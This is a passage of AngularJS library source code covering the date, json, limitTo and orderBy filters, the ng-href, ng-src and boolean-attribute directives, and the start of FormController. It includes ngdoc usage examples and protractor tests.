15173 * specified in the string input, the time is considered to be in the local timezone.
15174 * @param {string=} format Formatting rules (see Description). If not specified,
15175 * `mediumDate` is used.
15176 * @returns {string} Formatted string or the input if input is not recognized as date/millis.
15177 *
15178 * @example
15179 <example>
15180 <file name="index.html">
15181 <span ng-non-bindable>{{1288323623006 | date:'medium'}}</span>:
15182 <span>{{1288323623006 | date:'medium'}}</span><br>
15183 <span ng-non-bindable>{{1288323623006 | date:'yyyy-MM-dd HH:mm:ss Z'}}</span>:
15184 <span>{{1288323623006 | date:'yyyy-MM-dd HH:mm:ss Z'}}</span><br>
15185 <span ng-non-bindable>{{1288323623006 | date:'MM/dd/yyyy @ h:mma'}}</span>:
15186 <span>{{'1288323623006' | date:'MM/dd/yyyy @ h:mma'}}</span><br>
15187 </file>
15188 <file name="protractor.js" type="protractor">
15189 it('should format date', function() {
15190 expect(element(by.binding("1288323623006 | date:'medium'")).getText()).
15191 toMatch(/Oct 2\d, 2010 \d{1,2}:\d{2}:\d{2} (AM|PM)/);
15192 expect(element(by.binding("1288323623006 | date:'yyyy-MM-dd HH:mm:ss Z'")).getText()).
15193 toMatch(/2010\-10\-2\d \d{2}:\d{2}:\d{2} (\-|\+)?\d{4}/);
15194 expect(element(by.binding("'1288323623006' | date:'MM/dd/yyyy @ h:mma'")).getText()).
15195 toMatch(/10\/2\d\/2010 @ \d{1,2}:\d{2}(AM|PM)/);
15196 });
15197 </file>
15198 </example>
15199 */
15200 dateFilter.$inject = ['$locale'];
15201 function dateFilter($locale) {
15202
15203
15204 var R_ISO8601_STR = /^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z|([+-])(\d\d):?(\d\d))?)?$/;
15205 // 1 2 3 4 5 6 7 8 9 10 11
15206 function jsonStringToDate(string) {
15207 var match;
15208 if (match = string.match(R_ISO8601_STR)) {
15209 var date = new Date(0),
15210 tzHour = 0,
15211 tzMin = 0,
15212 dateSetter = match[8] ? date.setUTCFullYear : date.setFullYear,
15213 timeSetter = match[8] ? date.setUTCHours : date.setHours;
15214
15215 if (match[9]) {
15216 tzHour = int(match[9] + match[10]);
15217 tzMin = int(match[9] + match[11]);
15218 }
15219 dateSetter.call(date, int(match[1]), int(match[2]) - 1, int(match[3]));
15220 var h = int(match[4]||0) - tzHour;
15221 var m = int(match[5]||0) - tzMin;
15222 var s = int(match[6]||0);
15223 var ms = Math.round(parseFloat('0.' + (match[7]||0)) * 1000);
15224 timeSetter.call(date, h, m, s, ms);
15225 return date;
15226 }
15227 return string;
15228 }
15229
15230
15231 return function(date, format) {
15232 var text = '',
15233 parts = [],
15234 fn, match;
15235
15236 format = format || 'mediumDate';
15237 format = $locale.DATETIME_FORMATS[format] || format;
15238 if (isString(date)) {
15239 date = NUMBER_STRING.test(date) ? int(date) : jsonStringToDate(date);
15240 }
15241
15242 if (isNumber(date)) {
15243 date = new Date(date);
15244 }
15245
15246 if (!isDate(date)) {
15247 return date;
15248 }
15249
15250 while(format) {
15251 match = DATE_FORMATS_SPLIT.exec(format);
15252 if (match) {
15253 parts = concat(parts, match, 1);
15254 format = parts.pop();
15255 } else {
15256 parts.push(format);
15257 format = null;
15258 }
15259 }
15260
15261 forEach(parts, function(value){
15262 fn = DATE_FORMATS[value];
15263 text += fn ? fn(date, $locale.DATETIME_FORMATS)
15264 : value.replace(/(^'|'$)/g, '').replace(/''/g, "'");
15265 });
15266
15267 return text;
15268 };
15269 }
15270
15271
15272 /**
15273 * @ngdoc filter
15274 * @name json
15275 * @kind function
15276 *
15277 * @description
15278 * Allows you to convert a JavaScript object into JSON string.
15279 *
15280 * This filter is mostly useful for debugging. When using the double curly {{value}} notation
15281 * the binding is automatically converted to JSON.
15282 *
15283 * @param {*} object Any JavaScript object (including arrays and primitive types) to filter.
15284 * @returns {string} JSON string.
15285 *
15286 *
15287 * @example
15288 <example>
15289 <file name="index.html">
15290 <pre>{{ {'name':'value'} | json }}</pre>
15291 </file>
15292 <file name="protractor.js" type="protractor">
15293 it('should jsonify filtered objects', function() {
15294 expect(element(by.binding("{'name':'value'}")).getText()).toMatch(/\{\n "name": ?"value"\n}/);
15295 });
15296 </file>
15297 </example>
15298 *
15299 */
15300 function jsonFilter() {
15301 return function(object) {
15302 return toJson(object, true);
15303 };
15304 }
15305
15306
15307 /**
15308 * @ngdoc filter
15309 * @name lowercase
15310 * @kind function
15311 * @description
15312 * Converts string to lowercase.
15313 * @see angular.lowercase
15314 */
15315 var lowercaseFilter = valueFn(lowercase);
15316
15317
15318 /**
15319 * @ngdoc filter
15320 * @name uppercase
15321 * @kind function
15322 * @description
15323 * Converts string to uppercase.
15324 * @see angular.uppercase
15325 */
15326 var uppercaseFilter = valueFn(uppercase);
15327
15328 /**
15329 * @ngdoc filter
15330 * @name limitTo
15331 * @kind function
15332 *
15333 * @description
15334 * Creates a new array or string containing only a specified number of elements. The elements
15335 * are taken from either the beginning or the end of the source array or string, as specified by
15336 * the value and sign (positive or negative) of `limit`.
15337 *
15338 * @param {Array|string} input Source array or string to be limited.
15339 * @param {string|number} limit The length of the returned array or string. If the `limit` number
15340 * is positive, `limit` number of items from the beginning of the source array/string are copied.
15341 * If the number is negative, `limit` number of items from the end of the source array/string
15342 * are copied. The `limit` will be trimmed if it exceeds `array.length`
15343 * @returns {Array|string} A new sub-array or substring of length `limit` or less if input array
15344 * had less than `limit` elements.
15345 *
15346 * @example
15347 <example module="limitToExample">
15348 <file name="index.html">
15349 <script>
15350 angular.module('limitToExample', [])
15351 .controller('ExampleController', ['$scope', function($scope) {
15352 $scope.numbers = [1,2,3,4,5,6,7,8,9];
15353 $scope.letters = "abcdefghi";
15354 $scope.numLimit = 3;
15355 $scope.letterLimit = 3;
15356 }]);
15357 </script>
15358 <div ng-controller="ExampleController">
15359 Limit {{numbers}} to: <input type="integer" ng-model="numLimit">
15360 <p>Output numbers: {{ numbers | limitTo:numLimit }}</p>
15361 Limit {{letters}} to: <input type="integer" ng-model="letterLimit">
15362 <p>Output letters: {{ letters | limitTo:letterLimit }}</p>
15363 </div>
15364 </file>
15365 <file name="protractor.js" type="protractor">
15366 var numLimitInput = element(by.model('numLimit'));
15367 var letterLimitInput = element(by.model('letterLimit'));
15368 var limitedNumbers = element(by.binding('numbers | limitTo:numLimit'));
15369 var limitedLetters = element(by.binding('letters | limitTo:letterLimit'));
15370
15371 it('should limit the number array to first three items', function() {
15372 expect(numLimitInput.getAttribute('value')).toBe('3');
15373 expect(letterLimitInput.getAttribute('value')).toBe('3');
15374 expect(limitedNumbers.getText()).toEqual('Output numbers: [1,2,3]');
15375 expect(limitedLetters.getText()).toEqual('Output letters: abc');
15376 });
15377
15378 it('should update the output when -3 is entered', function() {
15379 numLimitInput.clear();
15380 numLimitInput.sendKeys('-3');
15381 letterLimitInput.clear();
15382 letterLimitInput.sendKeys('-3');
15383 expect(limitedNumbers.getText()).toEqual('Output numbers: [7,8,9]');
15384 expect(limitedLetters.getText()).toEqual('Output letters: ghi');
15385 });
15386
15387 it('should not exceed the maximum size of input array', function() {
15388 numLimitInput.clear();
15389 numLimitInput.sendKeys('100');
15390 letterLimitInput.clear();
15391 letterLimitInput.sendKeys('100');
15392 expect(limitedNumbers.getText()).toEqual('Output numbers: [1,2,3,4,5,6,7,8,9]');
15393 expect(limitedLetters.getText()).toEqual('Output letters: abcdefghi');
15394 });
15395 </file>
15396 </example>
15397 */
15398 function limitToFilter(){
15399 return function(input, limit) {
15400 if (!isArray(input) && !isString(input)) return input;
15401
15402 if (Math.abs(Number(limit)) === Infinity) {
15403 limit = Number(limit);
15404 } else {
15405 limit = int(limit);
15406 }
15407
15408 if (isString(input)) {
15409 //NaN check on limit
15410 if (limit) {
15411 return limit >= 0 ? input.slice(0, limit) : input.slice(limit, input.length);
15412 } else {
15413 return "";
15414 }
15415 }
15416
15417 var out = [],
15418 i, n;
15419
15420 // if abs(limit) exceeds maximum length, trim it
15421 if (limit > input.length)
15422 limit = input.length;
15423 else if (limit < -input.length)
15424 limit = -input.length;
15425
15426 if (limit > 0) {
15427 i = 0;
15428 n = limit;
15429 } else {
15430 i = input.length + limit;
15431 n = input.length;
15432 }
15433
15434 for (; i<n; i++) {
15435 out.push(input[i]);
15436 }
15437
15438 return out;
15439 };
15440 }
15441
15442 /**
15443 * @ngdoc filter
15444 * @name orderBy
15445 * @kind function
15446 *
15447 * @description
15448 * Orders a specified `array` by the `expression` predicate. It is ordered alphabetically
15449 * for strings and numerically for numbers. Note: if you notice numbers are not being sorted
15450 * correctly, make sure they are actually being saved as numbers and not strings.
15451 *
15452 * @param {Array} array The array to sort.
15453 * @param {function(*)|string|Array.<(function(*)|string)>} expression A predicate to be
15454 * used by the comparator to determine the order of elements.
15455 *
15456 * Can be one of:
15457 *
15458 * - `function`: Getter function. The result of this function will be sorted using the
15459 * `<`, `=`, `>` operator.
15460 * - `string`: An Angular expression. The result of this expression is used to compare elements
15461 * (for example `name` to sort by a property called `name` or `name.substr(0, 3)` to sort by
15462 * 3 first characters of a property called `name`). The result of a constant expression
15463 * is interpreted as a property name to be used in comparisons (for example `"special name"`
15464 * to sort object by the value of their `special name` property). An expression can be
15465 * optionally prefixed with `+` or `-` to control ascending or descending sort order
15466 * (for example, `+name` or `-name`).
15467 * - `Array`: An array of function or string predicates. The first predicate in the array
15468 * is used for sorting, but when two items are equivalent, the next predicate is used.
15469 *
15470 * @param {boolean=} reverse Reverse the order of the array.
15471 * @returns {Array} Sorted copy of the source array.
15472 *
15473 * @example
15474 <example module="orderByExample">
15475 <file name="index.html">
15476 <script>
15477 angular.module('orderByExample', [])
15478 .controller('ExampleController', ['$scope', function($scope) {
15479 $scope.friends =
15480 [{name:'John', phone:'555-1212', age:10},
15481 {name:'Mary', phone:'555-9876', age:19},
15482 {name:'Mike', phone:'555-4321', age:21},
15483 {name:'Adam', phone:'555-5678', age:35},
15484 {name:'Julie', phone:'555-8765', age:29}];
15485 $scope.predicate = '-age';
15486 }]);
15487 </script>
15488 <div ng-controller="ExampleController">
15489 <pre>Sorting predicate = {{predicate}}; reverse = {{reverse}}</pre>
15490 <hr/>
15491 [ <a href="" ng-click="predicate=''">unsorted</a> ]
15492 <table class="friend">
15493 <tr>
15494 <th><a href="" ng-click="predicate = 'name'; reverse=false">Name</a>
15495 (<a href="" ng-click="predicate = '-name'; reverse=false">^</a>)</th>
15496 <th><a href="" ng-click="predicate = 'phone'; reverse=!reverse">Phone Number</a></th>
15497 <th><a href="" ng-click="predicate = 'age'; reverse=!reverse">Age</a></th>
15498 </tr>
15499 <tr ng-repeat="friend in friends | orderBy:predicate:reverse">
15500 <td>{{friend.name}}</td>
15501 <td>{{friend.phone}}</td>
15502 <td>{{friend.age}}</td>
15503 </tr>
15504 </table>
15505 </div>
15506 </file>
15507 </example>
15508 *
15509 * It's also possible to call the orderBy filter manually, by injecting `$filter`, retrieving the
15510 * filter routine with `$filter('orderBy')`, and calling the returned filter routine with the
15511 * desired parameters.
15512 *
15513 * Example:
15514 *
15515 * @example
15516 <example module="orderByExample">
15517 <file name="index.html">
15518 <div ng-controller="ExampleController">
15519 <table class="friend">
15520 <tr>
15521 <th><a href="" ng-click="reverse=false;order('name', false)">Name</a>
15522 (<a href="" ng-click="order('-name',false)">^</a>)</th>
15523 <th><a href="" ng-click="reverse=!reverse;order('phone', reverse)">Phone Number</a></th>
15524 <th><a href="" ng-click="reverse=!reverse;order('age',reverse)">Age</a></th>
15525 </tr>
15526 <tr ng-repeat="friend in friends">
15527 <td>{{friend.name}}</td>
15528 <td>{{friend.phone}}</td>
15529 <td>{{friend.age}}</td>
15530 </tr>
15531 </table>
15532 </div>
15533 </file>
15534
15535 <file name="script.js">
15536 angular.module('orderByExample', [])
15537 .controller('ExampleController', ['$scope', '$filter', function($scope, $filter) {
15538 var orderBy = $filter('orderBy');
15539 $scope.friends = [
15540 { name: 'John', phone: '555-1212', age: 10 },
15541 { name: 'Mary', phone: '555-9876', age: 19 },
15542 { name: 'Mike', phone: '555-4321', age: 21 },
15543 { name: 'Adam', phone: '555-5678', age: 35 },
15544 { name: 'Julie', phone: '555-8765', age: 29 }
15545 ];
15546 $scope.order = function(predicate, reverse) {
15547 $scope.friends = orderBy($scope.friends, predicate, reverse);
15548 };
15549 $scope.order('-age',false);
15550 }]);
15551 </file>
15552 </example>
15553 */
15554 orderByFilter.$inject = ['$parse'];
15555 function orderByFilter($parse){
15556 return function(array, sortPredicate, reverseOrder) {
15557 if (!isArray(array)) return array;
15558 if (!sortPredicate) return array;
15559 sortPredicate = isArray(sortPredicate) ? sortPredicate: [sortPredicate];
15560 sortPredicate = map(sortPredicate, function(predicate){
15561 var descending = false, get = predicate || identity;
15562 if (isString(predicate)) {
15563 if ((predicate.charAt(0) == '+' || predicate.charAt(0) == '-')) {
15564 descending = predicate.charAt(0) == '-';
15565 predicate = predicate.substring(1);
15566 }
15567 get = $parse(predicate);
15568 if (get.constant) {
15569 var key = get();
15570 return reverseComparator(function(a,b) {
15571 return compare(a[key], b[key]);
15572 }, descending);
15573 }
15574 }
15575 return reverseComparator(function(a,b){
15576 return compare(get(a),get(b));
15577 }, descending);
15578 });
15579 var arrayCopy = [];
15580 for ( var i = 0; i < array.length; i++) { arrayCopy.push(array[i]); }
15581 return arrayCopy.sort(reverseComparator(comparator, reverseOrder));
15582
15583 function comparator(o1, o2){
15584 for ( var i = 0; i < sortPredicate.length; i++) {
15585 var comp = sortPredicate[i](o1, o2);
15586 if (comp !== 0) return comp;
15587 }
15588 return 0;
15589 }
15590 function reverseComparator(comp, descending) {
15591 return toBoolean(descending)
15592 ? function(a,b){return comp(b,a);}
15593 : comp;
15594 }
15595 function compare(v1, v2){
15596 var t1 = typeof v1;
15597 var t2 = typeof v2;
15598 if (t1 == t2) {
15599 if (isDate(v1) && isDate(v2)) {
15600 v1 = v1.valueOf();
15601 v2 = v2.valueOf();
15602 }
15603 if (t1 == "string") {
15604 v1 = v1.toLowerCase();
15605 v2 = v2.toLowerCase();
15606 }
15607 if (v1 === v2) return 0;
15608 return v1 < v2 ? -1 : 1;
15609 } else {
15610 return t1 < t2 ? -1 : 1;
15611 }
15612 }
15613 };
15614 }
15615
15616 function ngDirective(directive) {
15617 if (isFunction(directive)) {
15618 directive = {
15619 link: directive
15620 };
15621 }
15622 directive.restrict = directive.restrict || 'AC';
15623 return valueFn(directive);
15624 }
15625
15626 /**
15627 * @ngdoc directive
15628 * @name a
15629 * @restrict E
15630 *
15631 * @description
15632 * Modifies the default behavior of the html A tag so that the default action is prevented when
15633 * the href attribute is empty.
15634 *
15635 * This change permits the easy creation of action links with the `ngClick` directive
15636 * without changing the location or causing page reloads, e.g.:
15637 * `<a href="" ng-click="list.addItem()">Add Item</a>`
15638 */
15639 var htmlAnchorDirective = valueFn({
15640 restrict: 'E',
15641 compile: function(element, attr) {
15642
15643 if (msie <= 8) {
15644
15645 // turn <a href ng-click="..">link</a> into a stylable link in IE
15646 // but only if it doesn't have name attribute, in which case it's an anchor
15647 if (!attr.href && !attr.name) {
15648 attr.$set('href', '');
15649 }
15650
15651 // add a comment node to anchors to workaround IE bug that causes element content to be reset
15652 // to new attribute content if attribute is updated with value containing @ and element also
15653 // contains value with @
15654 // see issue #1949
15655 element.append(document.createComment('IE fix'));
15656 }
15657
15658 if (!attr.href && !attr.xlinkHref && !attr.name) {
15659 return function(scope, element) {
15660 // SVGAElement does not use the href attribute, but rather the 'xlinkHref' attribute.
15661 var href = toString.call(element.prop('href')) === '[object SVGAnimatedString]' ?
15662 'xlink:href' : 'href';
15663 element.on('click', function(event){
15664 // if we have no href url, then don't navigate anywhere.
15665 if (!element.attr(href)) {
15666 event.preventDefault();
15667 }
15668 });
15669 };
15670 }
15671 }
15672 });
15673
15674 /**
15675 * @ngdoc directive
15676 * @name ngHref
15677 * @restrict A
15678 * @priority 99
15679 *
15680 * @description
15681 * Using Angular markup like `{{hash}}` in an href attribute will
15682 * make the link go to the wrong URL if the user clicks it before
15683 * Angular has a chance to replace the `{{hash}}` markup with its
15684 * value. Until Angular replaces the markup the link will be broken
15685 * and will most likely return a 404 error.
15686 *
15687 * The `ngHref` directive solves this problem.
15688 *
15689 * The wrong way to write it:
15690 * ```html
15691 * <a href="http://www.gravatar.com/avatar/{{hash}}"/>
15692 * ```
15693 *
15694 * The correct way to write it:
15695 * ```html
15696 * <a ng-href="http://www.gravatar.com/avatar/{{hash}}"/>
15697 * ```
15698 *
15699 * @element A
15700 * @param {template} ngHref any string which can contain `{{}}` markup.
15701 *
15702 * @example
15703 * This example shows various combinations of `href`, `ng-href` and `ng-click` attributes
15704 * in links and their different behaviors:
15705 <example>
15706 <file name="index.html">
15707 <input ng-model="value" /><br />
15708 <a id="link-1" href ng-click="value = 1">link 1</a> (link, don't reload)<br />
15709 <a id="link-2" href="" ng-click="value = 2">link 2</a> (link, don't reload)<br />
15710 <a id="link-3" ng-href="/{{'123'}}">link 3</a> (link, reload!)<br />
15711 <a id="link-4" href="" name="xx" ng-click="value = 4">anchor</a> (link, don't reload)<br />
15712 <a id="link-5" name="xxx" ng-click="value = 5">anchor</a> (no link)<br />
15713 <a id="link-6" ng-href="{{value}}">link</a> (link, change location)
15714 </file>
15715 <file name="protractor.js" type="protractor">
15716 it('should execute ng-click but not reload when href without value', function() {
15717 element(by.id('link-1')).click();
15718 expect(element(by.model('value')).getAttribute('value')).toEqual('1');
15719 expect(element(by.id('link-1')).getAttribute('href')).toBe('');
15720 });
15721
15722 it('should execute ng-click but not reload when href empty string', function() {
15723 element(by.id('link-2')).click();
15724 expect(element(by.model('value')).getAttribute('value')).toEqual('2');
15725 expect(element(by.id('link-2')).getAttribute('href')).toBe('');
15726 });
15727
15728 it('should execute ng-click and change url when ng-href specified', function() {
15729 expect(element(by.id('link-3')).getAttribute('href')).toMatch(/\/123$/);
15730
15731 element(by.id('link-3')).click();
15732
15733 // At this point, we navigate away from an Angular page, so we need
15734 // to use browser.driver to get the base webdriver.
15735
15736 browser.wait(function() {
15737 return browser.driver.getCurrentUrl().then(function(url) {
15738 return url.match(/\/123$/);
15739 });
15740 }, 5000, 'page should navigate to /123');
15741 });
15742
15743 xit('should execute ng-click but not reload when href empty string and name specified', function() {
15744 element(by.id('link-4')).click();
15745 expect(element(by.model('value')).getAttribute('value')).toEqual('4');
15746 expect(element(by.id('link-4')).getAttribute('href')).toBe('');
15747 });
15748
15749 it('should execute ng-click but not reload when no href but name specified', function() {
15750 element(by.id('link-5')).click();
15751 expect(element(by.model('value')).getAttribute('value')).toEqual('5');
15752 expect(element(by.id('link-5')).getAttribute('href')).toBe(null);
15753 });
15754
15755 it('should only change url when only ng-href', function() {
15756 element(by.model('value')).clear();
15757 element(by.model('value')).sendKeys('6');
15758 expect(element(by.id('link-6')).getAttribute('href')).toMatch(/\/6$/);
15759
15760 element(by.id('link-6')).click();
15761
15762 // At this point, we navigate away from an Angular page, so we need
15763 // to use browser.driver to get the base webdriver.
15764 browser.wait(function() {
15765 return browser.driver.getCurrentUrl().then(function(url) {
15766 return url.match(/\/6$/);
15767 });
15768 }, 5000, 'page should navigate to /6');
15769 });
15770 </file>
15771 </example>
15772 */
15773
15774 /**
15775 * @ngdoc directive
15776 * @name ngSrc
15777 * @restrict A
15778 * @priority 99
15779 *
15780 * @description
15781 * Using Angular markup like `{{hash}}` in a `src` attribute doesn't
15782 * work right: The browser will fetch from the URL with the literal
15783 * text `{{hash}}` until Angular replaces the expression inside
15784 * `{{hash}}`. The `ngSrc` directive solves this problem.
15785 *
15786 * The buggy way to write it:
15787 * ```html
15788 * <img src="http://www.gravatar.com/avatar/{{hash}}"/>
15789 * ```
15790 *
15791 * The correct way to write it:
15792 * ```html
15793 * <img ng-src="http://www.gravatar.com/avatar/{{hash}}"/>
15794 * ```
15795 *
15796 * @element IMG
15797 * @param {template} ngSrc any string which can contain `{{}}` markup.
15798 */
15799
15800 /**
15801 * @ngdoc directive
15802 * @name ngSrcset
15803 * @restrict A
15804 * @priority 99
15805 *
15806 * @description
15807 * Using Angular markup like `{{hash}}` in a `srcset` attribute doesn't
15808 * work right: The browser will fetch from the URL with the literal
15809 * text `{{hash}}` until Angular replaces the expression inside
15810 * `{{hash}}`. The `ngSrcset` directive solves this problem.
15811 *
15812 * The buggy way to write it:
15813 * ```html
15814 * <img srcset="http://www.gravatar.com/avatar/{{hash}} 2x"/>
15815 * ```
15816 *
15817 * The correct way to write it:
15818 * ```html
15819 * <img ng-srcset="http://www.gravatar.com/avatar/{{hash}} 2x"/>
15820 * ```
15821 *
15822 * @element IMG
15823 * @param {template} ngSrcset any string which can contain `{{}}` markup.
15824 */
15825
15826 /**
15827 * @ngdoc directive
15828 * @name ngDisabled
15829 * @restrict A
15830 * @priority 100
15831 *
15832 * @description
15833 *
15834 * We shouldn't do this, because it will make the button enabled on Chrome/Firefox but not on IE8 and older IEs:
15835 * ```html
15836 * <div ng-init="scope = { isDisabled: false }">
15837 * <button disabled="{{scope.isDisabled}}">Disabled</button>
15838 * </div>
15839 * ```
15840 *
15841 * The HTML specification does not require browsers to preserve the values of boolean attributes
15842 * such as disabled. (Their presence means true and their absence means false.)
15843 * If we put an Angular interpolation expression into such an attribute then the
15844 * binding information would be lost when the browser removes the attribute.
15845 * The `ngDisabled` directive solves this problem for the `disabled` attribute.
15846 * This complementary directive is not removed by the browser and so provides
15847 * a permanent reliable place to store the binding information.
15848 *
15849 * @example
15850 <example>
15851 <file name="index.html">
15852 Click me to toggle: <input type="checkbox" ng-model="checked"><br/>
15853 <button ng-model="button" ng-disabled="checked">Button</button>
15854 </file>
15855 <file name="protractor.js" type="protractor">
15856 it('should toggle button', function() {
15857 expect(element(by.css('button')).getAttribute('disabled')).toBeFalsy();
15858 element(by.model('checked')).click();
15859 expect(element(by.css('button')).getAttribute('disabled')).toBeTruthy();
15860 });
15861 </file>
15862 </example>
15863 *
15864 * @element INPUT
15865 * @param {expression} ngDisabled If the {@link guide/expression expression} is truthy,
15866 * then special attribute "disabled" will be set on the element
15867 */
15868
15869
15870 /**
15871 * @ngdoc directive
15872 * @name ngChecked
15873 * @restrict A
15874 * @priority 100
15875 *
15876 * @description
15877 * The HTML specification does not require browsers to preserve the values of boolean attributes
15878 * such as checked. (Their presence means true and their absence means false.)
15879 * If we put an Angular interpolation expression into such an attribute then the
15880 * binding information would be lost when the browser removes the attribute.
15881 * The `ngChecked` directive solves this problem for the `checked` attribute.
15882 * This complementary directive is not removed by the browser and so provides
15883 * a permanent reliable place to store the binding information.
15884 * @example
15885 <example>
15886 <file name="index.html">
15887 Check me to check both: <input type="checkbox" ng-model="master"><br/>
15888 <input id="checkSlave" type="checkbox" ng-checked="master">
15889 </file>
15890 <file name="protractor.js" type="protractor">
15891 it('should check both checkBoxes', function() {
15892 expect(element(by.id('checkSlave')).getAttribute('checked')).toBeFalsy();
15893 element(by.model('master')).click();
15894 expect(element(by.id('checkSlave')).getAttribute('checked')).toBeTruthy();
15895 });
15896 </file>
15897 </example>
15898 *
15899 * @element INPUT
15900 * @param {expression} ngChecked If the {@link guide/expression expression} is truthy,
15901 * then special attribute "checked" will be set on the element
15902 */
15903
15904
15905 /**
15906 * @ngdoc directive
15907 * @name ngReadonly
15908 * @restrict A
15909 * @priority 100
15910 *
15911 * @description
15912 * The HTML specification does not require browsers to preserve the values of boolean attributes
15913 * such as readonly. (Their presence means true and their absence means false.)
15914 * If we put an Angular interpolation expression into such an attribute then the
15915 * binding information would be lost when the browser removes the attribute.
15916 * The `ngReadonly` directive solves this problem for the `readonly` attribute.
15917 * This complementary directive is not removed by the browser and so provides
15918 * a permanent reliable place to store the binding information.
15919 * @example
15920 <example>
15921 <file name="index.html">
15922 Check me to make text readonly: <input type="checkbox" ng-model="checked"><br/>
15923 <input type="text" ng-readonly="checked" value="I'm Angular"/>
15924 </file>
15925 <file name="protractor.js" type="protractor">
15926 it('should toggle readonly attr', function() {
15927 expect(element(by.css('[type="text"]')).getAttribute('readonly')).toBeFalsy();
15928 element(by.model('checked')).click();
15929 expect(element(by.css('[type="text"]')).getAttribute('readonly')).toBeTruthy();
15930 });
15931 </file>
15932 </example>
15933 *
15934 * @element INPUT
15935 * @param {expression} ngReadonly If the {@link guide/expression expression} is truthy,
15936 * then special attribute "readonly" will be set on the element
15937 */
15938
15939
15940 /**
15941 * @ngdoc directive
15942 * @name ngSelected
15943 * @restrict A
15944 * @priority 100
15945 *
15946 * @description
15947 * The HTML specification does not require browsers to preserve the values of boolean attributes
15948 * such as selected. (Their presence means true and their absence means false.)
15949 * If we put an Angular interpolation expression into such an attribute then the
15950 * binding information would be lost when the browser removes the attribute.
15951 * The `ngSelected` directive solves this problem for the `selected` attribute.
15952 * This complementary directive is not removed by the browser and so provides
15953 * a permanent reliable place to store the binding information.
15954 *
15955 * @example
15956 <example>
15957 <file name="index.html">
15958 Check me to select: <input type="checkbox" ng-model="selected"><br/>
15959 <select>
15960 <option>Hello!</option>
15961 <option id="greet" ng-selected="selected">Greetings!</option>
15962 </select>
15963 </file>
15964 <file name="protractor.js" type="protractor">
15965 it('should select Greetings!', function() {
15966 expect(element(by.id('greet')).getAttribute('selected')).toBeFalsy();
15967 element(by.model('selected')).click();
15968 expect(element(by.id('greet')).getAttribute('selected')).toBeTruthy();
15969 });
15970 </file>
15971 </example>
15972 *
15973 * @element OPTION
15974 * @param {expression} ngSelected If the {@link guide/expression expression} is truthy,
15975 * then special attribute "selected" will be set on the element
15976 */
15977
15978 /**
15979 * @ngdoc directive
15980 * @name ngOpen
15981 * @restrict A
15982 * @priority 100
15983 *
15984 * @description
15985 * The HTML specification does not require browsers to preserve the values of boolean attributes
15986 * such as open. (Their presence means true and their absence means false.)
15987 * If we put an Angular interpolation expression into such an attribute then the
15988 * binding information would be lost when the browser removes the attribute.
15989 * The `ngOpen` directive solves this problem for the `open` attribute.
15990 * This complementary directive is not removed by the browser and so provides
15991 * a permanent reliable place to store the binding information.
15992 * @example
15993 <example>
15994 <file name="index.html">
15995 Check me check multiple: <input type="checkbox" ng-model="open"><br/>
15996 <details id="details" ng-open="open">
15997 <summary>Show/Hide me</summary>
15998 </details>
15999 </file>
16000 <file name="protractor.js" type="protractor">
16001 it('should toggle open', function() {
16002 expect(element(by.id('details')).getAttribute('open')).toBeFalsy();
16003 element(by.model('open')).click();
16004 expect(element(by.id('details')).getAttribute('open')).toBeTruthy();
16005 });
16006 </file>
16007 </example>
16008 *
16009 * @element DETAILS
16010 * @param {expression} ngOpen If the {@link guide/expression expression} is truthy,
16011 * then special attribute "open" will be set on the element
16012 */
16013
16014 var ngAttributeAliasDirectives = {};
16015
16016
16017 // boolean attrs are evaluated
16018 forEach(BOOLEAN_ATTR, function(propName, attrName) {
16019 // binding to multiple is not supported
16020 if (propName == "multiple") return;
16021
16022 var normalized = directiveNormalize('ng-' + attrName);
16023 ngAttributeAliasDirectives[normalized] = function() {
16024 return {
16025 priority: 100,
16026 link: function(scope, element, attr) {
16027 scope.$watch(attr[normalized], function ngBooleanAttrWatchAction(value) {
16028 attr.$set(attrName, !!value);
16029 });
16030 }
16031 };
16032 };
16033 });
16034
16035
16036 // ng-src, ng-srcset, ng-href are interpolated
16037 forEach(['src', 'srcset', 'href'], function(attrName) {
16038 var normalized = directiveNormalize('ng-' + attrName);
16039 ngAttributeAliasDirectives[normalized] = function() {
16040 return {
16041 priority: 99, // it needs to run after the attributes are interpolated
16042 link: function(scope, element, attr) {
16043 var propName = attrName,
16044 name = attrName;
16045
16046 if (attrName === 'href' &&
16047 toString.call(element.prop('href')) === '[object SVGAnimatedString]') {
16048 name = 'xlinkHref';
16049 attr.$attr[name] = 'xlink:href';
16050 propName = null;
16051 }
16052
16053 attr.$observe(normalized, function(value) {
16054 if (!value) {
16055 if (attrName === 'href') {
16056 attr.$set(name, null);
16057 }
16058 return;
16059 }
16060
16061 attr.$set(name, value);
16062
16063 // on IE, if "ng:src" directive declaration is used and "src" attribute doesn't exist
16064 // then calling element.setAttribute('src', 'foo') doesn't do anything, so we need
16065 // to set the property as well to achieve the desired effect.
16066 // we use attr[attrName] value since $set can sanitize the url.
16067 if (msie && propName) element.prop(propName, attr[name]);
16068 });
16069 }
16070 };
16071 };
16072 });
16073
16074 /* global -nullFormCtrl */
16075 var nullFormCtrl = {
16076 $addControl: noop,
16077 $removeControl: noop,
16078 $setValidity: noop,
16079 $setDirty: noop,
16080 $setPristine: noop
16081 };
16082
16083 /**
16084 * @ngdoc type
16085 * @name form.FormController
16086 *
16087 * @property {boolean} $pristine True if user has not interacted with the form yet.
16088 * @property {boolean} $dirty True if user has already interacted with the form.
16089 * @property {boolean} $valid True if all of the containing forms and controls are valid.
16090 * @property {boolean} $invalid True if at least one containing control or form is invalid.
16091 *
16092 * @property {Object} $error Is an object hash, containing references to all invalid controls or
16093 * forms, where:
16094 *
16095 * - keys are validation tokens (error names),
16096 * - values are arrays of controls or forms that are invalid for given error name.
16097 *
16098 *
16099 * Built-in validation tokens:
16100 *
16101 * - `email`
16102 * - `max`
16103 * - `maxlength`
16104 * - `min`
16105 * - `minlength`
16106 * - `number`
16107 * - `pattern`
16108 * - `required`
16109 * - `url`
16110 *
16111 * @description
16112 * `FormController` keeps track of all its controls and nested forms as well as the state of them,
16113 * such as being valid/invalid or dirty/pristine.
16114 *
16115 * Each {@link ng.directive:form form} directive creates an instance
16116 * of `FormController`.
16117 *
16118 */
16119 //asks for $scope to fool the BC controller module
16120 FormController.$inject = ['$element', '$attrs', '$scope', '$animate'];
16121 function FormController(element, attrs, $scope, $animate) {
16122 var form = this,
16123 parentForm = element.parent().controller('form') || nullFormCtrl,
16124 invalidCount = 0, // used to easily determine if we are valid
16125 errors = form.$error = {},
